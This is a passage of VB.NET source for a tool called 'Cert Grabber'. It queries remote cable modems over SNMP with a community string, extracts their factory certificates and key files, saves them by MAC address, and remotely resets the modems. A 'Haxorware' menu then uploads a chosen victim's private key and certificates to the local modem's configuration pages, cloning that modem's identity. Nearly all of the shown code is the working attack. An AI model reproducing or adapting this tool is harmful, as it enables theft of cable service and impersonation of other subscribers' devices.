  7532.                 If Not myProcess4.HasExited Then
  7533.                     myProcess4.Kill()
  7534.                 End If
  7535.                 sIn4.Close()
  7536.                 sOut4.Close()
  7537.                 sErr4.Close()
  7538.                 myProcess4.Close()
  7539.                 Dim temp4 As String
  7540.                 temp4 = Replace(check_cannot_find_module(s4), "STRING: ", "")
  7541.                 temp4 = Replace(temp4, "Hex-", "")
  7542.                 temp4 = Replace(temp4, Chr(34), "")
  7543.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCACertificate.txt"
  7544.                 oWrite = oFile.CreateText(filedir)
  7545.                 oWrite.WriteLine(temp4)
  7546.                 oWrite.Close()
  7547.                 Dim bytelist4 As String()
  7548.                 Dim templist4 As String
  7549.                 templist4 = Replace(temp4, vbCrLf, " ")
  7550.                 templist4 = templist4.Remove(templist4.Length - 1, 1)
  7551.                 templist4 = Replace(templist4, " ", ",")
  7552.                 templist4 = Replace(templist4, ",,", ",")
  7553.                 bytelist4 = Split(templist4, ",")
  7554.                 Dim coutner4 As Integer
  7555.                 coutner4 = 2
  7556.                 Dim countback4 As Integer = bytelist4.Length - 2
  7557.                 Dim countup4 As Integer = 1
  7558.                 Dim watchvar4 As Integer = 0
  7559.                 While countback4 >= 0
  7560.                     If bytelist4(countback4).ToString = "00" And watchvar4 = 0 Then
  7561.                         countup4 = countup4 + 1
  7562.                     Else
  7563.                         watchvar4 = 1
  7564.                     End If
  7565.                     countback4 = countback4 - 1
  7566.                 End While
  7567.                 While coutner4 < bytelist4.Length - countup4
  7568.                     Dim byteData4 As Byte = CInt("&H" & bytelist4(coutner4).ToString)
  7569.                     Dim oFileStream4 As System.IO.FileStream
  7570.                     oFileStream4 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\ca.cer", System.IO.FileMode.Append)
  7571.                     oFileStream4.WriteByte(byteData4)
  7572.                     oFileStream4.Close()
  7573.                     coutner4 = coutner4 + 1
  7574.                 End While
  7575.                 'get cmFactoryRootCertificate.txt
  7576.                 Dim myProcess5 As Process = New Process
  7577.                 Dim s5 As String
  7578.                 myProcess5.StartInfo.FileName = x
  7579.                 myProcess5.StartInfo.UseShellExecute = False
  7580.                 myProcess5.StartInfo.CreateNoWindow = True
  7581.                 myProcess5.StartInfo.RedirectStandardInput = True
  7582.                 myProcess5.StartInfo.RedirectStandardOutput = True
  7583.                 myProcess5.StartInfo.RedirectStandardError = True
  7584.                 myProcess5.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.54.0"
  7585.                 myProcess5.Start()
  7586.                 Dim sIn5 As StreamWriter = myProcess5.StandardInput
  7587.                 sIn5.AutoFlush = True
  7588.                 Dim sOut5 As StreamReader = myProcess5.StandardOutput
  7589.                 Dim sErr5 As StreamReader = myProcess5.StandardError
  7590.                 s5 = sOut5.ReadToEnd()
  7591.                 If Not myProcess5.HasExited Then
  7592.                     myProcess5.Kill()
  7593.                 End If
  7594.                 sIn5.Close()
  7595.                 sOut5.Close()
  7596.                 sErr5.Close()
  7597.                 myProcess5.Close()
  7598.                 Dim temp5 As String
  7599.  
  7600.                 temp5 = Replace(check_cannot_find_module(s5), "STRING: ", "")
  7601.                 temp5 = Replace(temp5, "Hex-", "")
  7602.                 temp5 = Replace(temp5, Chr(34), "")
  7603.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRootCertificate.txt"
  7604.                 oWrite = oFile.CreateText(filedir)
  7605.                 oWrite.WriteLine(temp5)
  7606.                 oWrite.Close()
  7607.                 Dim bytelist5 As String()
  7608.                 Dim templist5 As String
  7609.                 templist5 = Replace(temp5, vbCrLf, " ")
  7610.                 templist5 = templist5.Remove(templist5.Length - 1, 1)
  7611.                 templist5 = Replace(templist5, " ", ",")
  7612.                 templist5 = Replace(templist5, ",,", ",")
  7613.                 bytelist5 = Split(templist5, ",")
  7614.                 Dim coutner5 As Integer
  7615.                 coutner5 = 2
  7616.                 Dim countback5 As Integer = bytelist5.Length - 2
  7617.                 Dim countup5 As Integer = 1
  7618.                 Dim watchvar5 As Integer = 0
  7619.                 While countback5 >= 0
  7620.                     If bytelist5(countback5).ToString = "00" And watchvar5 = 0 Then
  7621.                         countup5 = countup5 + 1
  7622.                     Else
  7623.                         watchvar5 = 1
  7624.                     End If
  7625.                     countback5 = countback5 - 1
  7626.                 End While
  7627.                 While coutner5 < bytelist5.Length - countup5
  7628.                     Dim byteData5 As Byte = CInt("&H" & bytelist5(coutner5).ToString)
  7629.                     Dim oFileStream5 As System.IO.FileStream
  7630.                     oFileStream5 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\root.Key", System.IO.FileMode.Append)
  7631.                     oFileStream5.WriteByte(byteData5)
  7632.                     oFileStream5.Close()
  7633.                     coutner5 = coutner5 + 1
  7634.                 End While
  7635.  
  7636.                 x = "C:\snmpcert\snmpset.exe"
  7637.                 Dim myProcess6 As Process = New Process
  7638.                 Dim s6 As String
  7639.                 myProcess6.StartInfo.FileName = x
  7640.                 myProcess6.StartInfo.UseShellExecute = False
  7641.                 myProcess6.StartInfo.CreateNoWindow = True
  7642.                 myProcess6.StartInfo.RedirectStandardInput = True
  7643.                 myProcess6.StartInfo.RedirectStandardOutput = True
  7644.                 myProcess6.StartInfo.RedirectStandardError = True
  7645.                 myProcess6.StartInfo.Arguments = "-v2c -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.29.0"
  7646.                 myProcess6.Start()
  7647.                 Dim sIn6 As StreamWriter = myProcess6.StandardInput
  7648.                 sIn6.AutoFlush = True
  7649.                 Dim sOut6 As StreamReader = myProcess6.StandardOutput
  7650.                 Dim sErr6 As StreamReader = myProcess6.StandardError
  7651.                 s6 = sOut6.ReadToEnd()
  7652.                 If Not myProcess6.HasExited Then
  7653.                     myProcess6.Kill()
  7654.                 End If
  7655.                 sIn6.Close()
  7656.                 sOut6.Close()
  7657.                 sErr6.Close()
  7658.                 myProcess6.Close()
  7659.                 Dim myProcess7 As Process = New Process
  7660.                 Dim s7 As String
  7661.                 myProcess7.StartInfo.FileName = x
  7662.                 myProcess7.StartInfo.UseShellExecute = False
  7663.                 myProcess7.StartInfo.CreateNoWindow = True
  7664.                 myProcess7.StartInfo.RedirectStandardInput = True
  7665.                 myProcess7.StartInfo.RedirectStandardOutput = True
  7666.                 myProcess7.StartInfo.RedirectStandardError = True
  7667.                 myProcess7.StartInfo.Arguments = "-v2c -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.69.1.1.3.0 i 1"
  7668.                 myProcess7.Start()
  7669.                 Dim sIn7 As StreamWriter = myProcess7.StandardInput
  7670.                 sIn7.AutoFlush = True
  7671.                 Dim sOut7 As StreamReader = myProcess7.StandardOutput
  7672.                 Dim sErr7 As StreamReader = myProcess7.StandardError
  7673.                 s7 = sOut7.ReadToEnd()
  7674.                 If Not myProcess7.HasExited Then
  7675.                     myProcess7.Kill()
  7676.                 End If
  7677.                 sIn7.Close()
  7678.                 sOut7.Close()
  7679.                 sErr7.Close()
  7680.                 myProcess7.Close()
  7681.  
  7682.                 Timer1.Enabled = True
  7683.             Catch ex As Exception
  7684.                 Exit Sub
  7685.             End Try
  7686.         End If
  7687.     End Sub
  7688.  
  7689.  
  7690.     Public Function check_cannot_find_module(ByVal check As String) As Object
  7691.         check = Replace(check, "Cannot find module (IP-MIB): At line 0 in (none)", "")
  7692.         check = Replace(check, "Cannot find module (IF-MIB): At line 0 in (none)", "")
  7693.         check = Replace(check, "Cannot find module (TCP-MIB): At line 0 in (none)", "")
  7694.         check = Replace(check, "Cannot find module (UDP-MIB): At line 0 in (none)", "")
  7695.         check = Replace(check, "Cannot find module (HOST-RESOURCES-MIB): At line 0 in (none)", "")
  7696.         check = Replace(check, "Cannot find module (SNMPv2-MIB): At line 0 in (none)", "")
  7697.         check = Replace(check, "Cannot find module (SNMPv2-SMI): At line 0 in (none)", "")
  7698.         check = Replace(check, "Cannot find module (NOTIFICATION-LOG-MIB): At line 0 in (none)", "")
  7699.         check = Replace(check, "Cannot find module (UCD-SNMP-MIB): At line 0 in (none)", "")
  7700.         check = Replace(check, "Cannot find module (UCD-DEMO-MIB): At line 0 in (none)", "")
  7701.         check = Replace(check, "Cannot find module (SNMP-TARGET-MIB): At line 0 in (none)", "")
  7702.         check = Replace(check, "Cannot find module (NET-SNMP-AGENT-MIB): At line 0 in (none)", "")
  7703.         check = Replace(check, "Cannot find module (DISMAN-EVENT-MIB): At line 0 in (none)", "")
  7704.         check = Replace(check, "Cannot find module (SNMP-VIEW-BASED-ACM-MIB): At line 0 in (none)", "")
  7705.         check = Replace(check, "Cannot find module (SNMP-COMMUNITY-MIB): At line 0 in (none)", "")
  7706.         check = Replace(check, "Cannot find module (UCD-DLMOD-MIB): At line 0 in (none)", "")
  7707.         check = Replace(check, "Cannot find module (SNMP-FRAMEWORK-MIB): At line 0 in (none)", "")
  7708.         check = Replace(check, "Cannot find module (SNMP-MPD-MIB): At line 0 in (none)", "")
  7709.         check = Replace(check, "Cannot find module (SNMP-USER-BASED-SM-MIB): At line 0 in (none)", "")
  7710.         check = Replace(check, "Cannot find module (SNMP-NOTIFICATION-MIB): At line 0 in (none)", "")
  7711.         check = Replace(check, "Cannot find module (SNMPv2-TM): At line 0 in (none)", "")
  7712.         Return check
  7713.  
  7714.     End Function
  7715.  
  7716.     Private Sub DiagnosticToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DiagnosticToolStripMenuItem.Click
  7717.         txtdiag.Visible = True
  7718.         Timer2.Start()
  7719.     End Sub
  7720.  
  7721.  
  7722.     Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
  7723.         txtdiag.Text = output
  7724.  
  7725.     End Sub
  7726.  
  7727.     Private Sub ExitToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ExitToolStripMenuItem.Click
  7728.         End
  7729.     End Sub
  7730.  
  7731.     Private Sub AboutToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AboutToolStripMenuItem.Click
  7732.         MsgBox("version 1.4")
  7733.     End Sub
  7734.  
  7735.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  7736.  
  7737.         ''WebBrowser1.Navigate("http://192.168.100.1/bpi.html")
  7738.  
  7739.         Dim testMsg2 As Integer
  7740.         If File.Exists("C:\snmpcert\settings.ini") Then
  7741.             testMsg2 = MsgBox("Would you like me to try loading last session?", vbYesNoCancel + vbQuestion, "Cert Grabber")
  7742.             If testMsg2 = 6 Then
  7743.                 Try
  7744.  
  7745.                     Dim readFile As System.IO.TextReader = New  _
  7746.              StreamReader("C:\snmpcert\settings.ini")
  7747.                     TextBox1.Text = readFile.ReadLine
  7748.                     txtcommunity.Text = readFile.ReadLine
  7749.                     portsnmp.Text = readFile.ReadLine
  7750.                     readFile.Close()
  7751.                     readFile = Nothing
  7752.                 Catch ex As IOException
  7753.                     ''  MsgBox(ex.ToString)
  7754.                     Exit Sub
  7755.                 End Try
  7756.             Else
  7757.                 Exit Sub
  7758.             End If
  7759.         End If
  7760.  
  7761.     End Sub
  7762.  
  7763.     Private Sub HaxorwareToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles HaxorwareToolStripMenuItem.Click
  7764.  
  7765.         ListBox1.Items.Clear()
  7766.         ListBox1.Visible = True
  7767.         ListBox1.Items.Add("Mac                                  ip                          download                        upload")
  7768.  
  7769.  
  7770.         Dim directories() As String = Directory.GetDirectories("C:\snmpcert\")
  7771.         Dim total As Integer = 0
  7772.  
  7773.         Dim x As Integer = 0
  7774.         While x < directories.Length
  7775.             Dim counter() As String = Directory.GetDirectories(directories(x))
  7776.             total += counter.Length
  7777.  
  7778.             Dim y As Integer = 0
  7779.             While y < counter.Length
  7780.  
  7781.                 Dim linein As String
  7782.                 Dim oFile As System.IO.File
  7783.                 Dim oRead As System.IO.StreamReader
  7784.                 oRead = oFile.OpenText(counter(y) & "\cminfo.txt")
  7785.                 Dim temp1(10) As String
  7786.                 Dim counter1 As Integer = 0
  7787.                 While oRead.Peek <> -1
  7788.                     linein = oRead.ReadLine()
  7789.  
  7790.                     temp1(counter1) = linein
  7791.                     temp1(counter1) = Replace(temp1(counter1), "modem's ip was:", Nothing)
  7792.                     temp1(counter1) = Replace(temp1(counter1), "modem ip was:", Nothing)
  7793.                     temp1(counter1) = Replace(temp1(counter1), "modem's download speed was:", Nothing)
  7794.                     temp1(counter1) = Replace(temp1(counter1), "modem's upload speed was:", Nothing)
  7795.                     If temp1(counter1) = Nothing Then
  7796.                         temp1(counter1) = "not avilable"
  7797.                     End If
  7798.                     counter1 += 1
  7799.                 End While
  7800.                 If temp1(5) = Nothing Then
  7801.                     temp1(5) = "not avilable"
  7802.                 End If
  7803.                 oRead.Close()
  7804.  
  7805.                 Dim temp As String = counter(y).Substring(counter(y).Length - 12) & "        " & temp1(0).ToString & "              " & temp1(4).ToString & "                          " & temp1(5).ToString
  7806.                 ListBox1.Items.Add(temp)
  7807.  
  7808.                 y += 1
  7809.             End While
  7810.             x += 1
  7811.         End While
  7812.  
  7813.  
  7814.  
  7815.  
  7816.     End Sub
  7817.  
  7818.  
  7819.  
  7820.  
  7821.     Private Sub TotalModemsFoundToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TotalModemsFoundToolStripMenuItem.Click
  7822.         Dim directories() As String = Directory.GetDirectories("C:\snmpcert\")
  7823.         Dim total As Integer = 0
  7824.  
  7825.         Dim x As Integer = 0
  7826.         While x < directories.Length
  7827.             Dim counter() As String = Directory.GetDirectories(directories(x))
  7828.             total += counter.Length
  7829.  
  7830.  
  7831.             x += 1
  7832.         End While
  7833.  
  7834.  
  7835.         MsgBox(total)
  7836.  
  7837.     End Sub
  7838.  
  7839.     Private Sub Button3_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
  7840.         ''WebBrowser1.Visible = True
  7841.  
  7842.         ListBox1.Items.Clear()
  7843.         ListBox1.Visible = True
  7844.         ListBox1.Items.Add("Mac                                  ip                          download                        upload")
  7845.  
  7846.  
  7847.         Dim directories() As String = Directory.GetDirectories("C:\snmpcert\")
  7848.         Dim total As Integer = 0
  7849.  
  7850.         Dim x As Integer = 0
  7851.         While x < directories.Length
  7852.             Dim counter() As String = Directory.GetDirectories(directories(x))
  7853.             total += counter.Length
  7854.  
  7855.             Dim y As Integer = 0
  7856.             While y < counter.Length
  7857.  
  7858.                 Dim linein As String
  7859.                 Dim oFile As System.IO.File
  7860.                 Dim oRead As System.IO.StreamReader
  7861.                 oRead = oFile.OpenText(counter(y) & "\cminfo.txt")
  7862.                 Dim temp1(10) As String
  7863.                 Dim counter1 As Integer = 0
  7864.                 While oRead.Peek <> -1
  7865.                     linein = oRead.ReadLine()
  7866.  
  7867.                     temp1(counter1) = linein
  7868.                     temp1(counter1) = Replace(temp1(counter1), "modem's ip was:", Nothing)
  7869.                     temp1(counter1) = Replace(temp1(counter1), "modem ip was:", Nothing)
  7870.                     temp1(counter1) = Replace(temp1(counter1), "modem's download speed was:", Nothing)
  7871.                     temp1(counter1) = Replace(temp1(counter1), "modem's upload speed was:", Nothing)
  7872.                     If temp1(counter1) = Nothing Then
  7873.                         temp1(counter1) = "not avilable"
  7874.                     End If
  7875.                     counter1 += 1
  7876.                 End While
  7877.                 If temp1(5) = Nothing Then
  7878.                     temp1(5) = "not avilable"
  7879.                 End If
  7880.                 oRead.Close()
  7881.  
  7882.                 Dim temp As String = counter(y).Substring(counter(y).Length - 12) & "        " & temp1(0).ToString & "              " & temp1(4).ToString & "                          " & temp1(5).ToString
  7883.                 ListBox1.Items.Add(temp)
  7884.  
  7885.                 y += 1
  7886.             End While
  7887.             x += 1
  7888.         End While
  7889.  
  7890.  
  7891.  
  7892.     End Sub
  7893.  
  7894.     Public Shared Sub Upload(ByVal address As String, ByVal fileName As String)
  7895.         Dim client As WebClient = New WebClient()
  7896.         Dim uri As Uri = New Uri(address)
  7897.         client.UploadFileAsync(uri, "POST", fileName)
  7898.         Console.WriteLine("File upload started.")
  7899.     End Sub
  7900.  
  7901.  
  7902.  
  7903.  
  7904.     Private Sub ListBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ListBox1.SelectedIndexChanged
  7905.         If ListBox1.SelectedIndex.ToString = Nothing Or ListBox1.SelectedIndex.ToString = -1 Or ListBox1.SelectedIndex.ToString = 0 Then
  7906.             ListBox1.Visible = False
  7907.             Exit Sub
  7908.  
  7909.         End If
  7910.  
  7911.         Dim temp As String
  7912.         temp = ListBox1.SelectedItem.ToString.Substring(0, 12)
  7913.  
  7914.  
  7915.         Dim filepath As String = ""
  7916.         Dim directories() As String = Directory.GetDirectories("C:\snmpcert\")
  7917.         Dim total As Integer = 0
  7918.  
  7919.         Dim x As Integer = 0
  7920.         While x < directories.Length
  7921.             Dim counter() As String = Directory.GetDirectories(directories(x))
  7922.             total += counter.Length
  7923.  
  7924.             Dim y As Integer = 0
  7925.             While y < counter.Length
  7926.  
  7927.  
  7928.  
  7929.                 If temp = counter(y).Substring(counter(y).Length - 12) Then
  7930.                     filepath = counter(y).ToString
  7931.                     If MessageBox.Show("Are you sure you want to upload " & temp & "to modem? ", "Comfirm", MessageBoxButtons.YesNo, MessageBoxIcon.Question) = Windows.Forms.DialogResult.No Then
  7932.                         ListBox1.Items.Clear()
  7933.                         ListBox1.Visible = False
  7934.                         Exit Sub
  7935.  
  7936.                     ElseIf (Windows.Forms.DialogResult.Yes) Then
  7937.  
  7938.                         Try
  7939.                             Upload("http://192.168.100.1/bpi_public.cgi", filepath.ToString & "\Public.Key")
  7940.                             Upload("http://192.168.100.1/bpi_private.cgi", filepath.ToString & "\private.Key")
  7941.                             Upload("http://192.168.100.1/plus_root.cgi", filepath.ToString & "\root.Key")
  7942.                             Upload("http://192.168.100.1/plus_cm.cgi", filepath.ToString & "\CM.cer")
  7943.                             Upload("http://192.168.100.1/plus_ca.cgi", filepath.ToString & "\ca.cer")
  7944.                             MsgBox("done please goto http://192.168.100.1/addresses.html" & vbCrLf & " hit copy from cert then hit save and reboot." & vbCrLf & "also please make shure bpi+ is enable under http://192.168.100.1/bpi.html")
  7945.                             ListBox1.Items.Clear()
  7946.                             ListBox1.Visible = False
  7947.  
  7948.                         Catch ex As Exception
  7949.                             MsgBox("Something went wrong" & vbCrLf & ex.ToString)
  7950.                             ListBox1.Items.Clear()
  7951.                             ListBox1.Visible = False
  7952.  
  7953.                         End Try
  7954.  
  7955.                     End If
  7956.  
  7957.  
  7958.                 End If
  7959.  
  7960.                 y += 1
  7961.             End While
  7962.             x += 1
  7963.         End While
  7964.  
  7965.  
  7966.  
  7967.     End Sub
  7968.  
  7969.     Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
  7970.         MsgBox("you found me")
  7971.     End Sub
  7972. End Class